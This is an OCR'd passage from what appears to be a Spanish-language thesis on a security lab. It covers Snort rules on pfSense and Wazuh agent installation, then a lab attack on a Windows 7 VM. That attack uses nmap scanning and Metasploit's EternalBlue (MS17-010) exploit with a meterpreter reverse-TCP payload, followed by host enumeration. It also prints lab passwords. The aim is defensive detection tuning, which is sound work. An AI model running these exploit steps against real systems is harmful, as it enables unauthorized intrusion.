O Parrot OS (O Hack The Box [3 OSINT Services (OVulnDB (3 Privacy and Security (3 Learning Resources

Rules Update Log

THECRIIG SO T O TV e COMRGTI Ty RGeS WIS TITE T
There is a new set of Snort GPLv2 Community Rules posted.
Downloading file 'community-rules.tar.gz'...
Done downloading rules file.
Extracting and installing Snort GPLv2 Community Rules...
Installation of Snort GPLv2 Community Rules completed.
Copying new config and map files...
Warning: No interfaces configured for Snort were found...
The Rules update has finished. Time: 2024-05-17 22:49:53

Nota: Archivo de configuracion.

Actualizacién de reglas con éxito:

Figura 30

Configuracion de reglas

@ O a 10.0.11

O Hack The Box O

Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync

Installed Rule Set MD5 Signature

Rule Set Name/Publisher MDS Signature Hash MDS5 Signature Date

Snort Subscriber Ruleset d2c80d5¢1862514746e508c51f468c2a Friday, 17-May-24 22:45:32 -05
Snort GPLv2 Community Rules 94d0624a41426c2af5a32ee4e0410dca Friday, 17-May-24 22:49:53 -05
Emerging Threats Open Rules Not Enabled Not Enabled

Snort OpenAppID Detectors Not Enabled Not Enabled

Snort ApplD Open Text Rules Not Enabled Not Enabled

Feodo Tracker Botnet C2 IP Rules Not Enabled Not Enabled

Update Your Rule Set

Last Update May-17 2024 22:49 Result: Success

Click UPDATE RULES to check for and automatically apply any new posted updates for selected rules packages. Clicking FORCE UPDATE will zero out

Nota: Archivo de configuracion.
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Se realiza la configuracién de las interfaces de red que serdn monitoreadas con
SNORT.
Figura 31

Configuracion de interfaz de red

pfSense.uide.ciber - Serv. x = +

@ C Oa 10.0.1.1
[0 Parrot OS (O Hack The Box (3 OSINT Services (3 Vuln DB (3 Privacy and Security (3 Learning Resources
Flisense heene b
ITY EDITION
Services / Snort/ Interfaces [>)
Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync

Interface Settings Overview

Interface Snort Status Pattern Match Blocking Mode Description Actions
() WAN (em0) Q@ Ce AC-BNFA DISABLED WAN Vil
(] LAN (em1) ® CcCe AC-BNFA DISABLED LAN Vil
(&) DMZ (em2) [V N&O) AC-BNFA DISABLED DMZ S

Nota: Archivo de configuracion.

Para la DMZ:

Figura 32

Configuracion de interfaz de red

[ C O G https//10.0.1.1
O Hack The Box [3 OSINT Services (3 VulnDB [3 Privacy and Security (3 Learning Resources
Flisense
COMMUNITY EDITION
Services / Snort/ Interface Settings / DMZ - Categories (2]
Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync
DMZ Settings DMZ Categories DMZ Rules DMZ Variables DMZ Preprocs DMZ IP Rep DMZ Logs

Automatic Flowbit Resolution

Resolve Flowbits If checked, Snort will auto-enable rules required for checked flowbits. Default is Checked.
examine th

Auto-Flowbit Rules

Nota: Archivo de configuracion.
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Reglas configuradas:
Figura 33

Configuracion de interfaz de red

c O 10.0.1.1
[ Hack The Box [J OSINT S s OVulnDB [3J Privacy and Security [J Learning Resources

m| Snort GPLv2 Community Rules (Talos certified)

rules are not enabled. Enable Ruleset: Snort Text Rules Enable Ruleset: Snort SO Rules Snort OPENAPPID rules are not enabled.
[m} snort_app-detect.rules (m] snort_browser-chrome.so.rules
[m] snort_attack-responses rules [m] snort_browser-ie.so.rules
snort_backdoor.rules Im] snort_browser-other.so.rules
[m] snort_bad-traffic.rules [m] snort_browser-webkit.so.rules
[m} snort_blacklist.rules [m} snort_exploit-kit.so.rules
o snort_botnet-cnc.rules [m] short_file-executable.so.rules
snort_browser-chrome.rules [m} snort_file-flash.so.rules
snort_browser-firefox.rules [m] snort_file-image so.rules
[m} snort_browser-ie.rules [m} snort_file-java.so.rules
[m] snort_browser-other.rules [m] snort_file-multimedia.so.rules
O snort_browser-plugins.rules O snort_file-office.so.rules
[m] snort_browser-webkit.rules [m] snort_file-other.so.rules

Nota: Archivo de configuracion.
Revision de logs que estdn conectados con el recolector Wazuh.
Figura 34

Revision de Logs

pfSense.uide.ciber - Serv X = +

10.0.1.1,

[ Hack The Box (3 OSINT Services (3 VulnDB (3 Privacy and Security (3 Learning Resources

Snort Interfaces Global Settings Updates Alerts Blocked Pass Lists Suppress IP Lists SID Mgmt Log Mgmt Sync

Alert Log View Settings
Interface to Inspect DMZ (em2) A [ Auto-refresh view 250
Choose interface Alert d

Alert Log Actions
Alert Log View Filter [+]

60 Entries in Active Log

Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description

2024-05-20 3 TCP Unknown Traffic  10.10.10.3 8180 10.0.1.2 35390 (http_inspect) NO CONTENT-LENGTH OR
22:16:29 Q Q TRANSFER-ENCODING IN HTTP RESPONSE
2024-05-20 3 TCP Unknown Traffic  10.0.1.2 35390 10.10.10.3 8180 (http_inspect) INVALID CONTENT-LENGTH OR
22:16:29 Q Q CHUNK SIZE

2024-05-20 3 TCP Not Suspicious ~ 10.0.1.2 35374 10.10.103 8180 119:4 (http_inspect) BARE BYTE UNICODE ENCODING

Nota: Archivo de configuracidn.
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Instalacion de agente Wazuh cliente en el Servidor Firewall Pfsense

El servidor firewall contiene el sistema Operativo Linux, con una distribucién

FreeBSD.
Figura 35

Instalacion agente Wazuh

File Machine View Input Devices Help
Starting package snort...done.
pfSense 2.7.2-RELEASE amd64 282312086-2818
Bootup complete

reeBSD/amd64 (pfSense.uide.ciber) (ttyvB)

JirtualBox Virtual Machine - Netgate Device ID: 551655915869cce13188

*%x Welcome to pfSense 2.7.2-RELEASE (amd64) on pfSense xxx

WAN (wan) -> enB -> v4/DHCP4: 192.168.122.116/24
LAN (lan) -> eml ->v4: 18.0.1.1/38
DMZ (optl) -> em2 ->v4: 19.18.18.1/29

8) Logout (SSH only) 9) pfTop

1) Assign Interfaces 18) Filter Logs

2) Set interface(s) IP address 11) Restart webConfigurator

3) Reset webConfigurator passuword 12) PHP shell + pfSense tools

4) Reset to factory defaults 13) Update from console

5) Reboot systenm 14) Enable Secure Shell (sshd)
6) Halt system 15) Restore recent configuration

7) Ping host 16) Restart PHP-FPM
8) Shell

nter an option:

B o B g)® ™ Right Ctrl

Nota: Archivo de configuracion.
Se ingresa en la consola de Shell de Pfsense con SSH, ejecutando los siguientes
comandos por consola desde el repositorio de FreeBSD.

Figura 36

Instalacion agente Wazuh

Nota: Archivo de configuracion.



116

Se realizan configuraciones manuales al archivo de wazuh cliente para agregar
la IP del servidor escucha de Wazuh.

Figura 37

Instalacion agente Wazuh

Parrot Terminal

nt enable

start
The check unixaudit option is deprecated ir

Nota: Archivo de configuracion.

Se revisa que en el dashboard de Wazuh ya se encuentra adicionado al
monitoreo el servidor firewall Pfsense, se aprecian los demds agentes clientes ya
instalados.

Figura 38

Consola administrativa Wazuh

pfSense.uide.ciber - Stat: X # Wazuh - Wazuh

<« @ C O & https://10.10.10.4/app/wazuh#tfagents-preview/?_g=(filters:!(),refreshinterval:(pause:it value:0)

D Parrot 0S (D Hack The Box [ OSINT Services (JVulnDB (3 Privacy and Security [J Learning Resources

= O wazuh. v | Agnts a o
' Last registered agent Most active agent c

@® Never connected (0) g : 200 0000

metasploitable metasploitable 1200; | D090

timestamp per 10 minu
Agents (3) @ Deploy new agent C Refresh £y Export formatted )
ploy 9 F i
& 1di=ees and  Search waL C Refresh
oA Name IP address Group(s) Operating system Cluster node Version Status Actions
001  WIN-845Q99004PP  172.16.202 | default Microsoft Windows 7 Ultimate Edition Professional Service Pack 16.1.7601 node01 va74 @ dsconnected @ @@ Ry
003  ServFW_Ptsense 10.10.10.1 default BSD 14.0 node01 va73 e disconnected @ @@ Ry
004  metasploitable 10.10.10.3 default | {} Ubuntug.04 node01 va.04 @ active @ @ R
Rows per page: 10 ~ < 1>

Nota: Archivo de configuracidn.
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Adicionalmente se recibe notificaciones de Telegram.
Figura 39

Notificaciones via telegram

D e o R
alertas_wazuh_uide_bot

] {"description": "Listened ports status (netstat) changed (new port

opened or closed).”, "alert_level": "7", "agent": "wazuh-server"}

7o \ PR

L

{"description": "Wazuh server started.”, "alert_level™: "3", "agent™
"wazuh-server"} 57

{"description": "Postfix started.”, "alert_level": "3", "agent™: "wazuh-
server'} 332

{"description”: "PAM: Login session opened.”, "alert_level": "3",
"agent”: "wazuh-server"}

{"description”: "New wazuh agent connected.”, "alert_level™ "3",
"agent”: "ServFW_Pfsense"}

{"description": "Wazuh agent stopped.”, "alert_level™ "3", "agent™:
"ServFW_Pfsense"} Ga.c

{"description": "Wazuh agent started.”, "alert_level": "3", "agent™
"ServFW_Pfsense"} -

Nota: Archivo de configuracion.

Instalacion agente local Wazuh en Windows

El agente se instala en el punto final que se desea monitorear de tal manera que
este mantenga comunicacion directa con el servidor de Wazuh, el agente Wazuh envia
datos casi en tiempo real a través de un canal cifrado y autenticado.

Como se mencion6 anteriormente el SO utilizado para las pruebas realizadas

es Windows 7 Ultimate SP1 y el Servidor de Aplicaciones MetasploiTable.
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Figura 40

Especificaciones SO utilizado

View basic information about your computer

Windows edition
Windows 7 Ultimate
Copyright © 2009 Microsoft Corporation. All rights reserved.

Service Pack 1

Systern
Rating: System rating is not available
Processon 11th Gen Intel{R) Core(Th) i7-1165G7 @ 2.80GHz 2.79 GH=
Installed memony (RAM):  2.00 GB
System type: 64-bit Operating Systermn
Pen and Touch: Mo Pen or Touch Input is available for this Display

Computer name, domain, and workgroup scttings
Computer name: WIN-845093004PP B Change settings
Full computer name: WIN-845Q99004PP

Computer description:

Workgroup: WORKGROUP

Nota: Especificaciones SO

Procedimiento instalacion en Windows 7

A continuacién, se detalla el procedimiento para el despliegue del agente
Wazuh en nuestro dispositivo final. Es necesario llevar acabo estos pasos con
privilegios de usuario administrador.

1. Descargar el instalador para el sistema operativo Windows del sitio web oficial

de Wazuh.

Figura 41

Instalacion agante wazuh
fi% wazuh-agent-4.7.4-1.msi

Nota: Instalacion agante wazuh

2. Ejecutamos el método de instalacion de interfaz gréafica de usuario (GUI),
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siguiendo los pasos del asistente de instalacidn.
3. Ejecutar el registro del agente en el servidor wazuh mediante el siguiente

comando .\agente-auth.exe -m ip_servidpr_wazuh

Figura 42

Ejecucion de comandos en CDM de Windows

- 4

Bah 882824 @9:11 PM <DIR> wodles
04252024 G8:44 AM 1.36%7 wpk_root.pem
2% File(s> 28.868,.3680 hytes
14 Dirc<s> 18,455, 773,184 hytes free

C:sProgram Files (xB6)“ossec—agent?>_“agent—auth.exe —m 192_.168.68_8

20248588 21:27:192 agent—auth: INF0O: Started (pid: 1424>_

202468588 agent—auth: INF0O: Requesting a key from sevver: 192_.168.8.8
202468588 agent—auth: INFO: Mo authentication password provided
202468588 agent—auth: INFO: Using agent name as: WIN-845Q22004PP
202468588 agent—auth: INF0O: Waiting for server reply

202468588 agent—auth: INF0O: Ualid key received

C:sProgram Files (x86)“ossec—agentXnet stop wazuh
The Wazuh service is not started.

More help is available by typing HET HELPMSEG 3521 .

C:wProgram Files (x86)“ossec—agent>net start wazuh
The Wazuh szervice is starting.
The Wazuh service was started successfully.

C:s\FProgram Files (xB6)“ossec—agent>

Nota: Ejecucion de comandos
4. Inicializar el agente mediante el comando NET START Wazuh
Figura 43

Revision de estatus de conexion Wazuh Agente — Wazuh Servidor

m Wazuh Agent Manager 3
Manage Wiew Help
Wazuh w4, 7.4

Agent: WIM-845033004PF [001] - any

Statuz: Running

Manager IF: [192168.018

Authentication kew: |MD.-’-\.:-:IF|:|.JTiD4ND"v"HDTIF'T2F||]

Save | Refresh

https:/fwazuh.com Revision 40717

Nota: Estatus de conexion Wazuh Agente
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5. Hay que considerar que los siguientes puertos deben estar habilitados
e 1514/TCP para comunicacion con agentes.

e 1515/TCP para inscripcion mediante solicitud automaética de agente.
e 55000/TCP para inscripcion a través de API de administrador.

6. Comprobar la conexién y registro del agente en el servidor wazuh, mediante

el uso del dashboard Wazuh.

Figura 44

Consola de Adminsitracion Web de Wazuh Servidor

« C O Noessequio  Inibma//192.168.0.18/app/wazuh#/agents-preview/?_a={filtersi()refreshinterval{pause-t value:0) time:{frommow-24h tomow))&_a=(column: wree) i B 5 b @  nsizaracuseacon

= (O wazuh. v | gt a

STATUS DETAILS EVOLUTION

e nected (0) 2 0 0 100.00% H d

Agents (2)

Nota: Consola de Adminsitracion

7. La comunicacién del agente y el servidor wazuh se establece y se encuentra

operativo para recibir eventos en la estacion Windows.

De forma predeterminada, todos los archivos del agente se almacenan después

de la instalacion en la ruta C:\Program Files (x86)\ossec-agent



Figura 45

Ruta de instalacion agente Wazuh
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=N Bl ==
@-.\_/.-vl <« Local Disk (C:) » Program Files (x86) » ossec-agent » - |+, | | Search ossec-agent 2 |
Organize » [ | Open = Mew folder 22 - ’_u
r Favorites i Mame : Date modified Type Size ‘
Bl Desktop '] ossec CONF File 10 KB
& Downloads G| ossec Text Document 161 KB
=l Recent Places 2 | profile-7.template TEMPLATE File 1KB
4 | REVISION File 1KB
- Libraries £ & syncdil 383 KB
£| Documents | syscollector.dll 558 KB
& Music 8] sysinfo.dil 612 KB
;' Pictures & | VERSION File 1KB
B videos 2] vista_sec Text Document 92 KB
m wazuh-agent ication 358 KB =
#& Homegroup 4 | wazuh-agent.state 1KB
4 | wazuh-logcollector.state 2 KB
8 Comniter - B win3aui 20KB ~

0ss5ec
CONF File

Date modified: 5/19/2024 6:09 PM

Size: 9.72 KB

Nota: Ruta de instalacion

Date created: 5/8/2024 3:30 PM

Instalacion agente local Wazuh Servidor Web de Aplicacion MetasploiTable

El servidor de aplicaciones contiene el sistema Operativo Linux, con una

distribucién Ubuntu 8.04

Figura 46

Version del Servidor de Web

sfadmin@metasploitable:™
Description: Ubuntu 8.04

sfadmin@netasploitable:™$

lsb_release -d

Nota: Version del Servidor de Web

La implementacién de un agente Wazuh en un sistema Linux utiliza variables de

implementacion que facilitan la tarea de instalar, registrar y configurar el agente.

Para realizar el proceso de instalacion se procede con los siguientes pasos:
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1. Descargar el paquete de instalacion para la distribucién de Linux Ubuntu
8.04.

Figura 47

Paquete de instalacion
| wazuh-agent_4.0.4-1_i386.deb

Nota: Paquete de instalacién

2. Ejecutar la instalacion del agente mediante el comando sudo dpkg -1 wazuh-

agent_4.0.4-1_i386.deb

Figura 48

Instalacion agente Wazuh mediante comando

root@metacplcltahle /tmp# 1s

deb wazuh-agent_4.7.4-1 1386.deb.sha512
et install wazuh-agent_4.7.4-1_1386.deb

ing <tate 1nfnrmjtlun... Done
: Couldn't find package wazuh-agent_4.7.4-1_1386.deb
ot@etasploitable:/tmp# sudo apt-get install wazuh-agent_4.7.4-1_i386.deb
package lists... Done
g dependency tree
ing state information... Done
: Couldn't find package wazuh- aqpnt 4.7.4-1_1386.deb
root@metasploitable: /tmp# sudo 1 '
Selecting previously
(Reading database ... : 35 files and directorie urrently installed.)
Unpacking wazuh-agent (from wazuh-agent_4.7.4-1 1i386.deb) ...
Setting up wazuh-agent (4.7.4-1) ..

Nota: Instalacion agente Wazuh

3. Establecer comunicacion con el servidor wazuh
Figura 49
Sincronizacion con el servidor Wazuh

root@etasplotitable:/tmp# WAZUH_MANAGER=' 3" apt-get install wazuh-agent
Reading package lists... Done

Building depende tree

Reading state 1n on... Done

wazuh-agent 1s already the newest version.
0 upgraded, © newly installed, © to remove and 139 not upgraded.
root@etasploitable:/tmp#

Nota: Sincronizacién con el servidor
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4. Iniciar el servicio del agente mediante el comando sudo /etc/init.d/wazuh-

agent start

Figura 50

Ejecucion del serivicio del agene Wazuh

-finish

-single

le:/etc/init.
sudo: wazuh-ag : command not d
rootmetaqxloltal le tc/m it.d# <uclc: /etc/Ln\t ci/wazuh agent start
[2024/05/10 2): valid server address found: 'MANAGER_IP'

client configured. Exiting.

> packets transmitted, 2 received, 0% packet loss, time 1003ms
rtt min/avg/max/mde . 51/4.945/1.694 ms
root@etasploitabl. .d# nano /var/(x<<e(/et(/o<<e( conf
rootmetawlmtal
ting Wazuh v4.0.4.
d ossec-execd.

r of the SCA module.

Started ossec-logeollector . . .
[Started wazuh-modulesd. ..
Completed.
root@etasploitable:/etc/init.d# I

Nota: Ejecucion del serivicio

5. Hay que considerar que los siguientes puertos deben estar habilitados

e 1514/TCP para comunicacion con agentes.
e 1515/TCP para inscripcion mediante solicitud automatica de agente.
e 55000/TCP para inscripcion a través de API de administrador.

Se puede comprobar si los puertos se encuentran abiertos con el comando nc
-zv 192.168.0.18 1514 1515 55000
Figura 51

Revision de puertos de conexion

mﬁfadmm@netaqploltahle /% nc -zv 1¢ .0.18 1514 1515 55000
8: wnverse host lookup f: Unknown host

. 1514 (?) open
[UNhMOHN} 1515 (?) open
( UNKNOWN ) 55000 (?) open

Nota: Revision de puertos de conexion
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6. Comprobar la conexidn y registro del agente en el servidor wazuh, mediante

el uso del dashboard Wazuh.

Figura 52

Servidor Web registrado en la consola de Wazuh

« c

© Noessequro  hites,//192.168.0.18/app/wazuh#/agents-preview/?_g=(filtersi{).refreshinterval-{pause:!t value:0).time:(fromnow-24h,tanow))&_a=(columns:!( source) filters:.... B ¥r

= (0 wdzuh. v | agems

& @  rinsimeractusizacion

a ]
STATUS DETALLS EVOLUTION
A Disconnected Pending Mever connected  Agents coverage
2 0 0 100.00% d
5]
Last registered agent Most active agent
@  Never connected (0) )
metasploitable metasploitable
timestamp per 10 minutes
Agents (2) @® Deploy new agent C Refresh ey Export formatted &
3 1id!=608 and  Search
DA Hame 1P address Groupts) Operating system Cluster nade Versian
a0t WIN-845089004FP 162.168.0.20 default Microsoft Windows 7 Ultimate Edition Professional Service Pack 1 6.1.7601 4.7.4
002 metasploitable 192.168.0.14 default & Ubuntu 8.04

Rows per page: 10 -

Nota: Servidor Web registrado

7. Lacomunicacién del agente y el servidor Wazuh se establece y se encuentra
operativo para recibir eventos en la estacion Windows.
8. De forma predeterminada, todos los archivos del agente se

almacenan después de la instalacion en el archivo: /var/ossec/etc/ossec.conf
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En VirtualBox se levanta la instancia de prueba sobre la que se realizardn los

diferentes escaneos para intentar vulnerar la seguridad del equipo. Se ha utilizado un

SO Windows 7 considerando que, aunque es una version de SO sin soporte de fabrica,

ain se usa mucho a nivel empresarial. Una vez logrado el objetivo, se instalard

protecciones y asi recolectard todos los eventos posibles con las diferentes soluciones

de seguridad. Estos logs se analizardn para establecer la mejor configuracion de estas

soluciones de seguridad y asi establecer una postura de seguridad optima y eficiente

que permita el bloqueo y/o deteccién de ataques similares.
Las credenciales de acceso a este dispositivo atacado son:
e U: User
P: Password123!
e U: Administrator
P: Password456!
Windows IP Configuration
Tabla 9

Ethernet adapter Local Area Connection:

Tipo P

Connection-specific DNS Localdomain
Suffix

Link-local IPv6 Address

Figura 53

fe80::d120:b9ca:5b18:8e1d%11

IPv4 Address. 192.168.65.130

Subnet Mask 255.255.255.0

Default Gateway 192.168.65.2

Figura 54



126

Configuracion Windows 7

R » Control Panel » System and Security » System
{ ontrol Panel » System and Secus stes
NN & sl

Control Panel Home
View basic information about your computer

® Device Manager
¥ Device Manage Windows edition

% Remote settings
Y ote settin Windows 7 Ultimate

m protection
L Copyright © 2009 Microsoft Corporation. All rights reserved.

% Advanced system settings —
Service Pack 1

System
Rating:
Processor 11th Gen Intel(R) Core(TM) i7-1165G7 @ 280GHz 2.80 GHz
Installed memory (RAM): ~ 4.00 GB
System type: 64-bit Operating System

Pen and Touch: No Pen or Touch Input s available for this Display

Computer name, domain, and workgroup settings
NP Computer name: WIN-845Q99004PP
Full computer nam WIN-845Q9 4PP
B ER ull computer name: IN-845Q9900

. Computer description:
Performance Information and

Tools Workgroup: WORKGROUP

Nota: Configuracion del sistema atacado

Acceso inicial:

Se ejecuta el comando arp-scan -l y netdiscover -r 192.168.200.0/24 para

identificar al del dispositivo objetivo.

Figura 55

Comando arp-scan

[sudo] password for kali:
F ENll"IHE‘ J"lAI": I.'.‘II.'J'IE‘I::"T i IF'\.-' » 192.168.
WARNING: i.tx ission denied
WAPNINU : ( r "_- : : Permission denied
( 1thub com/royhills/arp-scan)

(Unknown )
(Unknown )
(Unknown )

Nota: Se inditifica la ip del equipo a atacar
Figura 56

Comando netdiscover



127

Currently scanning: Finished!

36 Captured ARP Req/Rep packe rom ! : al size: 2168
At MAC Address Count MAC Vendor /

Inc.
Inc.
Inc.
Inc.

Nota: Se inditifica la ip del equipo a atacar

Teniendo en cuenta que la IP del dispositivo atacante es la 192.168.65.128 se
deduce que nuestro dispositivo objetivo tendria que ser el 192.168.65.130.
Empezamos realizando un escaneo de puertos al dispositivo objetivo
(192.168.65.130) con NMAP. El comando utilizado es el siguiente:
e nmap -p- -A -T4 192.168.65.130
Esto para obtener informacion de puertos abiertos y detectar brechas de
seguridad que podamos utilizar para acceder al dispositivo. El resultado del NMAP
al dispositivo objetivo muestra varios puertos abiertos y ademds se puede identificar
el tipo de sistema operativo y un nombre NetBIOS como se muestra en la siguiente

figura.
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Comando nmap -p -A -T4 192.168.65.130

4 192.168.65.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-14 17:35 EDT
Nmap scan report for 192.168.65.130
Host is up (0.00020s latency).
Not shown: 65527 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
135/tcp open msTrpc Microsoft
139/tcp open netbios-ssn Microsoft
445/tcp open microsoft-ds Windows 7
49152/tcp open msrpc Microsoft
49153/tcp open msrpc Microsoft
49154/tcp open msrpc Microsoft
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
Service Info: Host: WIN-845Q99004PP; 0S: Windows;

Windows RPC
Windows netbios-ssn

RPC
RPC
RPC

Windows
Windows
Windows

CPE:

Host script results:
| _clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-security-mode:
| 2:1:0:
Message signing enabled but not required
smb-os-discovery:
0S: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
0S CPE: cp :microsoft:windows_7 ::spl
Computer name: WIN-845Q99004PP
NetBIOS computer name: WIN-845Q99004PP\x00
Workgroup: WORKGROUP\x00
System time: 2024-04-14T17:38:08-04:00
NetBIOS name: WIN-845Q99004PP, NetBIOS user:

& <unknown>, NetBIOS MAC:

smb-security-mode:

account_used: guest

authentication_level: user

challenge_response: supported

message_signing: disabled (dangerous, but default)
smb2-time:
2024-04-14T721:38:08
2024-04-14T20:13:27

date:
start_date:

|
|
|
|
|
|
|
|
| _nbstat:
I
I
|
|
|
|
|
|
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Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

cpe:/o:microsoft:windows

00:0c:29:ed:a8:e0 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 138.44 seconds

Nota: Se inditifica el SO del equipo a atacar

Informacion:

Tabla 10

PORT STATE SERVICE

VERSION

135/tcp open msrpc
445/tcp open microsoft-ds
49152/tcp open msrpc
49153/tcp pen msrpc
49154/tcp open msrpc
49155/tcp open msrpc

Microsoft Windows
RPC

Windows 7 Ultimate
7601 Service Pack 1
microsoft-ds
(workgroup:
WORKGROUP)
Microsoft Windows

RPC

Microsoft Windows
RPC
Microsoft Windows
RPC
Microsoft Windows
RPC
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Service Info: Host: WIN-845Q99004PP; OS: Windows; CPE:
cpe:/o:microsoft:windows

Dado que la dnica informacién relevante hasta el momento es el tipo de sistema
operativo se procede a realizar una buisqueda en Google de algtn tipo de exploit para

esta version de Windows.

Figura 58

Busqueda de exploit

Google windows 7 ultimate 7601 service pack 1 exploit

: fess Service Pack 1 ...

Windows 7 P e e exploit and while

Nota: Link de exploit encontrado: Referencia


https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/
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Ejecucion:
Como método mds efectivo se utilizard Metasploit para la busqueda de un
exploit util para nuestros fines. Con la busqueda realizada en el inciso anterior

identificamos a EternalBlue como posible exploit ttil.

Dentro de la consola de Metasploit realizamos la busqueda de EternalBlue.

Figura 59

Busqueda de EternalBlue

Disclosu e iption

/ms17_010

mb/smb_ms17_|
/smb_doublepulsar_rc 4 _ SME DOUBLEPU

name or index. For ex

Nota: auxiliary smb_ms17-100
Se utilizard el médulo auxiliar 3 para verificar que la vulnerabilidad MS17-

010 encontrada anteriormente este presente en nuestro dispositivo objetivo.
Figura 60

Ejecucion de smb_ms17-100

msf6 > use 3
msf6 auxiliary( ) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):
Name G ent Setting Required Description

CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
_PIPE false no Check for named pipe on vulnerable hosts

/usr/share/metasploit-framework/data/wordli List of named pipes to check
sts/named_pipes.txt

RHOSTS The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi

cs/using-metasploit.html

RPORT The SMB service port (TCP)

SMBDomain . The Windows domain to use for authentication

SMBPass The password for the specified username

SMBUser The username to authenticate as

THREADS The number of concurrent threads (max one per host)

View the full module info with the fo, or f command .
msf6 auxiliary( ) > set rhost 192.168.65.130

rhost = 192.168.65.130
msf6 auxiliary( ) > run

[+] 192.168.65.130:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
192.168.65.130 - Scanned 1 of 1 hosts (10 complete)
Auxiliary module execution completed

msf6 auxiliary( ) >

Nota: Muestra las vulnerabilidades del equipo a atacar
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Posterior a configurar el remote host se confirma que el dispositivo objetivo es
vulnerable a MS17-010.
Ahora utilizamos el exploit y configuramos los pardmetros necesarios en este

caso el payload y el remote host.

Figura 61

Ejecucion del exploit

auxiliary( ) > use @
No load configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit( ) options

Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description

RHOSTS es The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT The target port (TCP)

SMBDomain (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,
Windows Embedded ndard 7 target machines.

SMBPass (Optional) The sword for the specified username

SMBUs. (Optional) The username to authenticate as

VERIFY_ARCH Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Win
dows Embedded Standard 7 target machines.

VERIFY_TARGET true Check if remote 0S matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embed
ded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reve tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.65.128 The listen address (an interface may be specified)
LPORT (A The listen port

Exploit target:

Name

Automatic Target

View the full module info with the r fo -d command.

msf6 exploit( > set rhosts 192.168.65.130

rhosts = 192.168.65.130

msf6 exploit( > set payload windows/x64/meterpreter/reverse_tcp
payload = windows/x64/meterpreter/reverse_tcp

msf6 exploit( N |

Nota: Ejecucion y seteos de la configuracion del exploit
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Posterior a verificar los pardmetros configurados se ejecuta el exploit.
Figura 62

Ejecucion del exploit

R i 5
ETERNALELUE
ndir

-p400

Nota: Ejecucion y seteos de la configuracion del exploit

Confirmamos acceso al dispositivo ejecutamos in ipconfig para verificar la IP
del dispositivo objetivo.
Figura 63

Acceso al equipo atacado

Wowonn

Eall

k

es
1S
5
15

Nota: Ejecucion del exploit de manera exitosa
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Una vez se tiene acceso al dispositivo se procede a recopilar la mayor cantidad

de informacién util.

Figura 64

Comando sysinfo

‘ NT AUTHORITY
ysinfo
: WIN-845Q99004PP
: Windows 7 (6.1 Builld 7681, Service Pack 1).

Nota: Recoleccion de informacion

Figura 65

Comando shell

rsion 6.1.7601]

crosoft Corporationm. ALl rig

whoami

nt authori

>hostname

Nota: Recoleccion de informacion
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El proceso que nosotros estamos utilizando se puede observar mediante la

ejecucion del comando.

Figura 66

Comando route print

IPv4 Route Tabl

Active Rou
Network De
a

On-link
On-link
On-link
On-link
On-link
On-link
On-link
On-link
On-link
On-link

On-link
On-link
b18:8e1d/128
On-link
On-link
On-link

Nota: Recoleccion de informacion
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Figura 67

Comando arp -a

ap-58-

ae-58-
AR-0c

ch o h Ch Ch Ch
LA LA LN LA Ln

Nota: Recoleccion de informacion

Figura 68

Comando netstat -ano

>netstat -ano

Proto

TCP
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING 4
ESTABLISHED 1116
LISTENING 7
LISTENING
LISTENING
LISTENING
LISTENING

LISTENING
LISTENING

Nota: Recoleccion de informacion
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Figura 69

Comando ps

PPID

']

AUTHORIT
AUTHORIT

Zhhhin

7

n

conhost.ex
vmtoolsd.

5Q99004/
NT AUTHORIT
NT AUTHORITY\NETWORK SERVIC
taskhost WIN-845099004PP\Administr,
SppsV

WIN-

WIN- )!

WIN-845Q099004 mi \ m Fi mtoolsd
NT AUTHORIT

NT AUTHORIT

NT AUTHORITY\LOCAL SER

Nota: Recoleccion de informacion
Figura 70

Comando ps

™ Windows Task Manages 2 || @] &2

Appiications | Processes | Services | Performance | Networking | users

Image Hame User ame  CPU Memory (F... De
omd.exe Adminisr... 00 780K W

iption =
dows Command Processor

omd.exe SYSTEM 00 768X Windows Command Processor

conhost.exe SYSTEM ] BLZK  Console Window Host

conhost.exe Administr... 00 1,292K  Console Window Host

cores exe SYSTEM ] 1,444 K Client Server Runtime Frocess

cores.ane SYSTEM 00 7A44 K Client Server Runtime Process B
dwm.exe Administr... 00 L52K  Deskiop Window Manager 3

explorer.exe Administr... 00 23,680 K Windows Explorer
lsass.exe SYSTEM o0 3,384K Local Security Authority Process

lem.exe SYSTEM 00 1,416K  Local Session Manager Service

msdtc.exe NETWOR... 00 2432K  Microsoft Distributed Transaction Coordinat.
Searchindexer.... SYSTEM 00 6,500 Microsoft Windows Search Indexer

SYSTEM o 4176K Sen

es and Controller app

SYSTEM O 368 K_ Windows Session Menager
